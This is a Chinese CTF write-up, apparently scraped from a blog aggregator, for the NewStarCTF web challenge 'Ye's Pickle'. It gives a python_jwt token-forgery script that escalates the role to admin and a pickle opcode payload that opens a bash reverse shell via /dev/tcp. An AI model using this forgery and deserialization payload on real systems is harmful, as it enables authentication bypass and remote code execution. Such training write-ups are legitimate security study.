首页 > 其他分享 >NewStarCTF WEEK5|WEB Ye's Pickle

NewStarCTF WEEK5|WEB Ye's Pickle

时间:2024-08-02 17:18:14浏览次数:14  
标签:WEB return Pickle Ye token role import pickle payload

下载附件

# -*- coding: utf-8 -*-
import base64
import string
import random
from flask import *
import jwcrypto.jwk as jwk
import pickle
from python_jwt import *

app = Flask(__name__)  # 创建 Flask 应用实例

def generate_random_string(length=16):
    """
    生成一个指定长度的随机字符串,由字母和数字组成。

    :param length: 字符串的长度,默认为16
    :return: 随机生成的字符串
    """
    characters = string.ascii_letters + string.digits  # 包含字母和数字
    random_string = ''.join(random.choice(characters) for _ in range(length))
    return random_string

# 设置 Flask 的 SECRET_KEY,随机生成一个16位的字符串
app.config['SECRET_KEY'] = generate_random_string(16)

# 生成一个 RSA 密钥,用于 JWT 签名和验证
key = jwk.JWK.generate(kty='RSA', size=2048)

@app.route("/")
def index():
    """
    处理主页请求。根据请求中的 token 验证用户角色,并渲染相应的模板。
    如果没有提供 token,则生成一个默认的 JWT 并返回给客户端。
    """
    payload = request.args.get("token")  # 从查询参数中获取 token
    if payload:
        try:
            # 验证 JWT,获取用户角色
            token = verify_jwt(payload, key, ['PS256'])
            session["role"] = token[1]['role']  # 将用户角色存储在 session 中
        except Exception as e:
            # 如果 JWT 验证失败,默认为 guest 角色
            session["role"] = "guest"
    else:
        # 如果没有 token,设置默认角色为 guest,并生成一个新的 JWT
        session["role"] = "guest"
        user = {"username": "boogipop", "role": "guest"}
        jwt = generate_jwt(user, key, 'PS256', timedelta(minutes=60))  # 生成 JWT
        return render_template('index.html', token=jwt)  # 返回渲染的模板及生成的 token

    return render_template('index.html')  # 返回渲染的模板

@app.route("/pickle")
def unser():
    """
    处理 pickle 请求。如果用户角色为 admin,则解码和反序列化 pickle 数据。
    否则,直接渲染模板。
    """
    if session.get("role") == "admin":  # 检查用户角色是否为 admin
        try:
            pickle_data = request.args.get("pickle")  # 从查询参数中获取 pickle 数据
            if pickle_data:
                pickle.loads(base64.b64decode(pickle_data))  # 解码和反序列化 pickle 数据
        except Exception as e:
            # 捕获 pickle 解码和反序列化过程中的异常(如有)
            return render_template("index.html", error=f"Pickle error: {e}")
    
    return render_template("index.html")  # 返回渲染的模板

if __name__ == "__main__":
    # 启动 Flask 应用,监听所有网络接口的 5000 端口
    app.run(host="0.0.0.0", port=5000, debug=True)

通过对代码简单的分析思路很明显
现在/路由下进行token伪造
image
image

脚本

import base64
from datetime import timedelta
from json import loads, dumps
import jwcrypto.common
from jwcrypto.common import base64url_decode, base64url_encode

def topic(topic):
    """ Use mix of JSON and compact format to insert forged claims including long expiration """
    [header, payload, signature] = topic.split('.')
    parsed_payload = loads(base64url_decode(payload))
    parsed_payload['role'] = 'admin'
    fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
    return '{"  ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'


originaltoken = 'eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MjI1OTE1NjYsImlhdCI6MTcyMjU4Nzk2NiwianRpIjoiUHZQUk1fWXRmaDJrT0FDZl9zQzd4USIsIm5iZiI6MTcyMjU4Nzk2Niwicm9sZSI6Imd1ZXN0IiwidXNlcm5hbWUiOiJib29naXBvcCJ9.paFjWMAcxz5l_RfYKFQVU-kZhuJSJli9ckQ8Q_k8ouMAGaW1YE-OAyl9XFP0-iQosVaFKFUzojMtJRxAHxdnK3L8yjjZrpr9XLsLV87UNMC_Nl-NPCYMzXpPvT5d6bCqViKELVIWecTVjMo0vO2q4GNs83K6lNE6-dq0jrvYELg-KB6sqVoH5QfRRG_lbzVxtTOIVnE6Z9z9C36NU44G6fHjeYqBYhJ3Z7Hudhib4y6aXzpL9vLtI8swQNBkUZUf8F8CR5b-QAxl86FfI6cnXkO11tENBhPMnw_vtn5XOcUy3hRwrHDG6I6a5R-r6BWzPSNSHGvcFxjPA8eOWQVvBQ'
topic = topic(originaltoken)
print(topic)

然后就

image

空格用%20替代

接下来就是开始利用pickle.loads(base64.b64decode(pickle_data))来执行命令
直接弹shell

import base64
opcode=b'''cos
system
(S"bash -c 'bash -i >& /dev/tcp/ip/端口 0>&1'"
tR.
'''
print(base64.b64encode(opcode))

image

image

标签:WEB,return,Pickle,Ye,token,role,import,pickle,payload
From: https://www.cnblogs.com/dghh/p/18339192

相关文章

  • openlayers改变底图颜色为暗色系
    importTileLayerfrom"ol/layer/Tile";//瓦片图层类importXYZfrom"ol/source/XYZ";//XYZ格式的切片数据,继承于TileImageconstlayer=newTileLayer({source:newXYZ({url:在线地图url,crossOrigin:"anonymous",......
  • QT QProcess: Destroyed while process (“apple.exe“) is still running
    一、出错原因因为我这个程序是一直运行的,它会一直回显数据,如果你使用对象,start启动这个命令后,程序认为QProcess已经执行完毕,自动回收,但是此时程序正在执行中,所以无法销毁这个进程,导致出现这个问题。二、错误代码QStringcmd="./bin/apple.exe";QStringListargs;......
  • Burp Suite Professional 2024.7 发布 - Web 应用安全、测试和扫描
    BurpSuiteProfessional2024.7(macOS,Linux,Windows)-Web应用安全、测试和扫描BurpSuiteProfessional,Test,find,andexploitvulnerabilities.请访问原文链接:https://sysin.org/blog/burp-suite-pro/,查看最新版。原创作品,转载请保留出处。BurpSuiteProfessiona......
  • WEEK5|WEB Unserialize Again
    进入后是一个文件上传但是这里并没有漏洞点看cookie得到源码<?phphighlight_file(__FILE__);error_reporting(0);classstory{private$user='admin';public$pass;public$eating;public$God='false';publicfunction__wakeup(){......
  • 基于Java的数据结构课程网站的设计与实现/线上学习系统/在线教学管理系统/Web、SSM、v
    需要源码的联系方式请查看文章末尾数据结构课程网站的设计与实现摘 要计算机网络与信息化管理相配合,可以有效地提高管理人员的工作效能和改进工作的质量。良好的数据结构课程网站可以使管理员工作得到更好的实施和应用,并有助于管理员更好地管理数据结构课程,解决人力管理......
  • 基于Web的心理测试/基于PHP大学生心理健康网站/课程设计
    摘 要计算机网络与信息化管理相配合,可以有效地提高管理人员的工作效能和改进工作的质量。良好的心理测试可以使管理员工作得到更好的管理和应用,并有助于管理员更好地管理心理测试,并有助于解决一些心理不健康的用户。因此一套好的心理测试可以起到很大的效果。该管理系统......
  • VulnhubAI-web 1.0靶机详解
    项目地址https://www.vulnhub.com/entry/ai-web-1,353/实验过程将下载好的靶机导入到VMware中,设置网络模式为NAT模式,然后开启靶机虚拟机使用nmap进行主机发现,获取靶机IP地址nmap192.168.47.1-254根据对比可知DC-8的一个ip地址为192.168.47.135扫描Ai-Web......
  • ComfyUI插件:ComfyUI layer style 节点(二)
    前言:学习ComfyUI是一场持久战,而ComfyUIlayerstyle是一组专为图片设计制作且集成了Photoshop功能的强大节点。该节点几乎将PhotoShop的全部功能迁移到ComfyUI,诸如提供仿照AdobePhotoshop的图层样式、提供调整颜色功能(亮度、饱和度、对比度等)、提供Mask辅助工具、提供图层合成......
  • 基于web的史料采购系统的设计与实现
    目录1绪论1.1选题背景与意义1.2国内外研究现状2系统分析2.1.1技术可行性分析2.1.2经济可行性分析2.1.3社会可行性分析2.1.3操作可行性分析2.2系统流程分析2.2.1数据新增流程2.2.2数据删除流程2.3系统功能分析2.3.1功能性分析2.3.2非功能性分析......
  • NewStarCTF WEEK4|WEB PharOne
    首先进入后查看源码进入class.php看见unlike很明显是一个phar反序列化的利用我们有两种选择一一句话木马<?phpclassFlag{public$cmd;}$a=newFlag();$a->cmd="echo\"<?=@eval(\\\$_POST['a']);\">/var/www/html/1.php";$phar=newPhar("......